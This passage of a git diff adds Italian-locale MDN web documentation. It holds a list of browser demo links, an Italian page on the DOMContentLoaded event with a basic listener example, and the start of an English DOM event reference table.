+ <li><a href="http://www.lutanho.net/svgvml3d/platonic.html">3D objects demo</a> (interactive)</li>
+ <li><a href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactive)</li>
+ <li><a href="http://www.double.co.nz/video_test/video.svg">Video embedded in SVG</a> (or use the <a href="http://www.double.co.nz/video_test/video_svg.tar.bz2">local download</a>)</li>
+ <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map creator</a> (<a href="https://github.com/summerstyle/summer">source code</a>)</li>
+</ul>
+
+<h3 id="Video" name="Video">Video</h3>
+
+<ul>
+ <li><a href="https://vimeo.com/172328210">Video 3D Animation "mozilla constantly evolving"</a></li>
+ <li><a href="https://vimeo.com/173851395">Video 3D animation "Floating Dance"</a></li>
+ <li><a href="http://www.double.co.nz/video_test/test1.html">Streaming Anime, Movie Trailer and Interview</a></li>
+ <li><a href="http://www.double.co.nz/video_test/test2.html">Billy's Browser Firefox Flick</a></li>
+ <li><a href="http://www.double.co.nz/video_test/test3.html">Virtual Barber Shop</a></li>
+ <li><a href="http://www.double.co.nz/video_test/test4.html">Transformers Movie Trailer</a></li>
+ <li><a href="http://www.double.co.nz/video_test/test5.html">A Scanner Darkly Movie Trailer</a> (with built in controls)</li>
+ <li><a href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li>
+ <li><a href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Dragable and sizable videos</a></li>
+</ul>
+
+<h2 id="Grafica_3D">Grafica 3D</h2>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li>IoQuake3 (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li>
+ <li>Escher puzzle (<a href="https://github.com/micahbolen/demoscene">source code</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li>
+</ul>
+
+<h3 id="Realtà_Virtuale">Realtà Virtuale</h3>
+
+<ul>
+ <li><a href="http://mozvr.com/demos/polarsea/">The Polar Sea</a> (<a href="https://github.com/MozVR/polarsea">source code</a>)</li>
+ <li>Sechelt fly-through (<a href="https://github.com/mozvr/sechelt">source code</a>)</li>
+</ul>
+
+<h2 id="CSS">CSS</h2>
+
+<ul>
+ <li><a href="http://www.csszengarden.com/">CSS Zen Garden</a></li>
+ <li><a href="http://codepen.io/SoftwareRVG/pen/OXkOWj/">CSS floating logo "mozilla"</a></li>
+ <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li>
+ <li><a href="http://ondras.github.io/blockout/">CSS Blockout</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li>
+ <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">source code</a>)</li>
+</ul>
+
+<h3 id="Trasformazioni">Trasformazioni</h3>
+
+<ul>
+ <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">source code</a>)</li>
+</ul>
+
+<h2 id="Giochi">Giochi</h2>
+
+<ul>
+ <li>IoQuake3 (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li>
+</ul>
+
+<h2 id="HTML">HTML</h2>
+
+<ul>
+ <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">source code</a>)</li>
+</ul>
+
+<h2 id="Web_APIs">Web APIs</h2>
+
+<ul>
+</ul>
+
+<h3 id="Notifications_API">Notifications API</h3>
+
+<ul>
+ <li><a href="http://elfoxero.github.io/html5notifications/">HTML5 Notifications</a> (<a href="https://github.com/elfoxero/html5notifications">source code</a>)</li>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="Web_Audio_API">Web Audio API</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="http://ondras.github.io/oscope/">oscope.js - JavaScript oscilloscope</a></li>
+ <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">source code</a>)</li>
+ <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">HTML5 Audio Visualizer</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">source code</a>)</li>
+ <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Graphical Filter Editor and Visualizer</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">source code</a>)</li>
+</ul>
+
+<h3 id="File_API">File API</h3>
+
+<ul>
+ <li><a href="http://palerdot.github.io/slide-my-text/">Slide My Text - presentation from plain text files</a></li>
+</ul>
+
+<h3 id="Unclassified" name="Unclassified">Web Workers</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fractal/">Web Worker Fractals</a></li>
+ <li><a href="http://ondras.github.io/photo/">Photo editor</a></li>
+ <li><a href="http://ondras.github.io/coral/">Coral generator</a></li>
+ <li><a href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li>
+ <li><a href="http://palerdot.github.io/hotcold/">HotCold Touch Typing</a></li>
+</ul>
diff --git a/files/it/web/events/domcontentloaded/index.html b/files/it/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..9b2cf7467e
--- /dev/null
+++ b/files/it/web/events/domcontentloaded/index.html
@@ -0,0 +1,75 @@
+---
+title: DOMContentLoaded event
+slug: Web/Events/DOMContentLoaded
+tags:
+  - Evento
+  - Referenza
+  - Web
+  - eventi
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'evento <strong><code>DOMContentLoaded</code></strong> si attiva quando il documento HTML iniziale è stato completamente caricato e analizzato, senza attendere che i fogli di stile, le immagini e i sottoframe finiscano di caricarsi.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbling</th>
+   <td>Sì</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancellabile</th>
+   <td>Sì (anche se specificato come evento semplice che non è cancellabile)</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Proprietà dell'handler</th>
+   <td>Nessuna</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'obiettivo originale per questo evento è il <code><a href="/en-US/docs/Web/API/Document">Document</a></code> che è stato caricato. È possibile ascoltare questo evento nell'interfaccia <code>Window</code> per gestirlo nelle fasi di capturing o bubbling. Per i dettagli completi su questo evento, consulta la pagina sull'evento <a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event">Document: DOMContentLoaded</a>.</p>
+
+<p>Un evento diverso, <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, dovrebbe essere utilizzato solo per rilevare una pagina completamente caricata. È un errore comune utilizzare <code>load</code> dove <code>DOMContentLoaded</code> sarebbe più appropriato.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_di_base">Utilizzo di base</h3>
+
+<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    console.log('DOM completamente caricato e analizzato');
+});
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Window.DOMContentLoaded_event")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Eventi correlati: <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Document/readystatechange_event">readystatechange</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li>
+ <li>Questo evento su <code><a href="/en-US/docs/Web/API/Document">Document</a></code> destinato a: <code><a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code></li>
+</ul>
diff --git a/files/it/web/events/index.html b/files/it/web/events/index.html
new file mode 100644
index 0000000000..c492f87dd4
--- /dev/null
+++ b/files/it/web/events/index.html
@@ -0,0 +1,2310 @@
+---
+title: Event reference
+slug: Web/Events
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - events
+translation_of: Web/Events
+---
+<p>DOM Events are sent to notify code of interesting things that have taken place. Each event is represented by an object which is based on the {{domxref("Event")}} interface, and may have additional custom fields and/or functions used to get additional information about what happened. Events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.</p>
+
+<p>This article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, Mozilla-specific events are listed so that <a href="/en-US/docs/Mozilla/Add-ons">add-ons</a> can use them to interact with the browser.</p>
+
+<h2 id="Standard_events">Standard events</h2>
+
+<p>These events are defined in official Web specifications, and should be common across browsers. Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event.</p>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{event("abort")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></td>
+   <td>The loading of a resource has been aborted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>Progression has been terminated (not due to an error).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A transaction has been aborted.</td>
+  </tr>
+  <tr>
+   <td>{{event("afterprint")}}{{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document has started printing or the print preview has been closed.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationend")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationiteration")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationstart")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
+  </tr>
+  <tr>
+   <td>{{event("audioprocess")}}</td>
+   <td>{{domxref("AudioProcessingEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.</td>
+  </tr>
+  <tr>
+   <td>{{event("audioend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has finished capturing audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{event("audiostart")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has started to capture audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document is about to be printed or previewed for printing.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeunload")}}</td>
+   <td>{{domxref("BeforeUnloadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5 </a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("beginEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
+  </tr>
+  <tr>
+   <td>{{event("blur")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></td>
+   <td>An element has lost focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("boundary")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a word or sentence boundary</td>
+  </tr>
+  <tr>
+   <td>{{event("cached")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplay")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></td>
+   <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplaythrough")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></td>
+   <td>The user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>The <code>change</code> event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The battery begins or stops charging.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>chargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("checking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent is checking for an update, or attempting to download the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{event("click")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></td>
+   <td>A pointing device button has been pressed and released on an element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("complete")}}</td>
+   <td>{{domxref("OfflineAudioCompletionEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>The rendering of an {{domxref("OfflineAudioContext")}} is terminated.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionend")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend">DOM L3</a></td>
+   <td>The composition of a passage of text has been completed or canceled.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionstart")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart">DOM L3</a></td>
+   <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate">DOM L3</a></td>
+   <td>A character is added to a passage of text being composed.</td>
+  </tr>
+  <tr>
+   <td>{{event("contextmenu")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="https://html.spec.whatwg.org/multipage/forms.html#context-menus">HTML5</a></td>
+   <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
+  </tr>
+  <tr>
+   <td>{{event("copy")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>The text selection has been added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{event("cut")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>The text selection has been removed from the document and added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{event("dblclick")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick">DOM L3</a></td>
+   <td>A pointing device button is clicked twice on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicelight")}}</td>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
+   <td>Fresh data is available from a light sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicemotion")}}</td>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from a motion sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceorientation")}}</td>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from an orientation sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceproximity")}}</td>
+   <td>{{domxref("DeviceProximityEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).</td>
+  </tr>
+  <tr>
+   <td>{{event("dischargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>dischargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{deprecated_inline}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate">DOM L3</a></td>
+   <td>A button, link or state changing element is activated (use {{event("click")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged">DOM L3</a> Removed</td>
+   <td>The name of an attribute changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified">DOM L3</a></td>
+   <td>The value of an attribute has been modified (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified">DOM L3</a></td>
+   <td>A text or another <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMContentLoaded")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td>The document has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged">DOM L3</a> Removed</td>
+   <td>The name of an element changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn">DOM L3</a></td>
+   <td>An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut">DOM L3</a></td>
+   <td>An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted">DOM L3</a></td>
+   <td>A node has been added as a child of another node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument">DOM L3</a></td>
+   <td>A node has been inserted into the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved">DOM L3</a></td>
+   <td>A node has been removed from its parent node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument">DOM L3</a></td>
+   <td>A node has been removed from the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified">DOM L3</a></td>
+   <td>A change happened in the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("downloading")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{event("drag")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>An element or text selection is being dragged (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragend")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragenter")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>A dragged element or text selection enters a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragleave")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>A dragged element or text selection leaves a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragover")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
+  </tr>
+  <tr>
